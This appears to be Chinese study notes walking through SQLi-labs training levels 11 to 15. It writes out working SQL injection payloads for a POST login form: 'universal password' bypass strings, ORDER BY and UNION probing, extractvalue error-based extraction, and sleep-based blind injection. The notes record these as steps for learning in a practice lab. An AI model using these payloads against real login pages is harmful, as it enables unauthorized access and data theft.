less11
基于POST的万能密码登录
使用admin’ or ‘1’='1%23
成功登入,但是好像没有什么用
方法一(union查询)
单引号’ 报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’ and password=’’ LIMIT 0,1’ at line 1
’’’’ and password=’’ LIMIT 0,1’
猜测数据库语句为:
select * from xxx where username='' and password='' limit 0,1
username=1’ order by 2%23
username=1’ order by 4%23 报错
方法二( extractvalue报错注入)
uname=admin’ and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=&submit=Submit
less12
单引号’不报错
尝试双引号
’""") and password=("") LIMIT 0,1’
由此猜测数据库语句为:
select * from xxx where username=("") and password=("") limit 0,1
方法和第十一关相同
万能密码登录
admin") and (“1”) = (“1
admin”) and (“1”) = ("1
less13
单引号
报错为:
‘’’’) and password=(’’) LIMIT 0,1’
select * from xx where username=('') and password=('') limit 0,1
万能密码登录
admin’) and (‘1’) = (‘1
admin’) and (‘1’) = ('1
union查询
admin’) order by 3# 报错 可知为存在两行字段
admin’) union select 1,2#
没有回显,尝试报错注入
报错注入
uname=admin’) and extractvalue(1,concat(0x7e,(select database())))#&passwd=admin&submit=Submit
时间盲注
uname=admin’) and length(database())=8#&passwd=admin&submit=Submit
less14
双引号报错
admin" order by 3# 知为两列数据
admin" union select 1,2# 无回显尝试报错注入或者盲注
less15
单引号双引号等均无回显
尝试时间盲注
admin’ and sleep(5)# 成功延时5秒
uname=admin%27+and+if(length(database())=8,sleep%285%29,0)%23&passwd=ddd&submit=Submit
数据库长度为8